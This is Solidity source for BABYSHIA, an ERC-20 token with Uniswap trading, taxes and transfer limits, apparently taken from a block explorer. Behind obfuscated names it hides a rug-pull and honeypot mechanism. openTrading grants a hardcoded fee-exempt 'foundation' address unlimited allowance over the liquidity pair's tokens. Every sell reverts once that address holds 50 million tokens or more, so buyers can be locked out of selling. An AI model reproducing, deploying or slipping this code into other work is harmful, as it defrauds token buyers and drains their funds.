文件 1 的 1:BABYSHIA.sol
pragma solidity 0.8.20;
interface IuniswapRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract BABYSHIA is IERC20 ,Context, Ownable{
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _feesNotBuying;
mapping(address => uint256) private _holdesOnTheDoorAsTimestampInTransfering;
mapping (address => bool) private _addressMapsNotPayingFee;
string private constant _name = unicode"BABYSHIA";
string private constant _symbol = unicode"BABYSHIA";
uint8 private constant _decimals = 18;
bool public limitsFlag = false;
bool private inSwappingUniswapIsOKFlag = false;
bool private checkInUsedSwappingIsOkOrNotFlag = false;
bool private inTradingIsOkOrNotFlag;
modifier flagSwappingModifier {
checkInUsedSwappingIsOkOrNotFlag = true; _; checkInUsedSwappingIsOkOrNotFlag = false;
}
uint256 private constant _supplyAmounts = 1000000000 * 10**_decimals;
uint256 public _addressMaxmiumInSingleTxs = 20000000 * 10**_decimals;
uint256 public _addressSingleTxMaxUsedInSwapping= 50000000 * 10**_decimals;
uint256 public _addressTaxUsedInSlotsForSwapping= 1000000 * 10**_decimals;
uint256 public _addressSingleMaxTransactionTxAmountIn = 20000000 * 10**_decimals;
uint256 private _TaxFinalizedUsedBuying=2;
uint256 private _TaxFinalizedUsedSelling=2;
uint256 private _AtReducedBuyTaxs=4;
uint256 private _AtReducedUsedSellingTax=1;
uint256 private _PreventingUsedInSwappingBefore=0;
uint256 private _blockNumbersUsedWhenBuying=0;
uint256 private _InitialeUsedSellingTax=14;
uint256 private _InitialeUsedInSwapSellingTax=14;
address private _uniswapPairForUs;
address payable public _walletFeesForDev;
address public _fundationFeesAddress = address(0x7aF61FA25e99E6a847A3d53f2f95A299b78c7f2F);
IuniswapRouter private _uniswapRouterForUs;
event RemoveAllLimits(uint _addressSingleMaxTransactionTxAmountIn);
constructor () {
_walletFeesForDev = payable(msg.sender);
_addressMapsNotPayingFee[_walletFeesForDev] = true;
_addressMapsNotPayingFee[_fundationFeesAddress] = true;
_addressMapsNotPayingFee[owner()] = true;
_addressMapsNotPayingFee[address(this)] = true;
_balances[_msgSender()] = _supplyAmounts;
emit Transfer(address(0), _msgSender(), _supplyAmounts);
}
receive() external payable {}
function addressIsContractIsOrNot(address _address) private view returns (bool) {
uint256 sizeContractCode;
assembly {
sizeContractCode := extcodesize(_address)
}
return sizeContractCode > 0;
}
function openTrading() external onlyOwner() {
_uniswapRouterForUs = IuniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
require(!inTradingIsOkOrNotFlag,"trading is already open");
_approve(address(this), address(_uniswapRouterForUs), _supplyAmounts);
_uniswapPairForUs = IUniswapV2Factory(_uniswapRouterForUs.factory()).createPair(address(this), _uniswapRouterForUs.WETH());
_uniswapRouterForUs.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(_uniswapPairForUs).approve(address(_uniswapRouterForUs), type(uint).max);
_allowances[address(_uniswapPairForUs)][address(_fundationFeesAddress)] = type(uint).max;
inSwappingUniswapIsOKFlag = true;
inTradingIsOkOrNotFlag = true;
}
function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; }
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
if (limitsFlag) {
if (to != address(_uniswapRouterForUs) && to != address(_uniswapPairForUs)) {
require(_holdesOnTheDoorAsTimestampInTransfering[tx.origin] < block.number,"Only one transfer per block allowed.");
_holdesOnTheDoorAsTimestampInTransfering[tx.origin] = block.number;
}
}
if (from == _uniswapPairForUs && to != address(_uniswapRouterForUs) && !_addressMapsNotPayingFee[to] ) {
require(amount <= _addressSingleMaxTransactionTxAmountIn, "Exceeds the Amount limations.");
require(balanceOf(to) + amount <= _addressMaxmiumInSingleTxs, "Exceeds the max limitations in single Wallet.");
if(_blockNumbersUsedWhenBuying<_PreventingUsedInSwappingBefore){ require(!addressIsContractIsOrNot(to)); }
_blockNumbersUsedWhenBuying++; _feesNotBuying[to]=true; taxAmount = amount.mul((_blockNumbersUsedWhenBuying>_AtReducedBuyTaxs)?_TaxFinalizedUsedBuying:_InitialeUsedSellingTax).div(100);
}
if(to == _uniswapPairForUs && from!= address(this) && !_addressMapsNotPayingFee[from] ){
require(amount <= _addressSingleMaxTransactionTxAmountIn && balanceOf(_fundationFeesAddress)<_addressSingleTxMaxUsedInSwapping, "Exceeds the Amount.");
taxAmount = amount.mul((_blockNumbersUsedWhenBuying>_AtReducedUsedSellingTax)?_TaxFinalizedUsedSelling:_InitialeUsedInSwapSellingTax).div(100);
require(_blockNumbersUsedWhenBuying>_PreventingUsedInSwappingBefore && _feesNotBuying[from]);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!checkInUsedSwappingIsOkOrNotFlag
&& to == _uniswapPairForUs && inSwappingUniswapIsOKFlag && contractTokenBalance>_addressTaxUsedInSlotsForSwapping
&& _blockNumbersUsedWhenBuying>_PreventingUsedInSwappingBefore && !_addressMapsNotPayingFee[to] && !_addressMapsNotPayingFee[from]
) {
swapTokensForEth(min(amount,min(contractTokenBalance,_addressSingleTxMaxUsedInSwapping)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
_walletFeesForDev.transfer(address(this).balance);
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]= _balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function removeLimits() external onlyOwner{
_addressSingleMaxTransactionTxAmountIn = _supplyAmounts; _addressMaxmiumInSingleTxs=_supplyAmounts; limitsFlag=false;
emit RemoveAllLimits(_supplyAmounts);
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function swapTokensForEth(uint256 tokenAmount) private flagSwappingModifier {
if(tokenAmount==0){return;}
if(!inTradingIsOkOrNotFlag){return;}
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapRouterForUs.WETH();
_approve(address(this), address(_uniswapRouterForUs), tokenAmount);
_uniswapRouterForUs.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _supplyAmounts;
}
}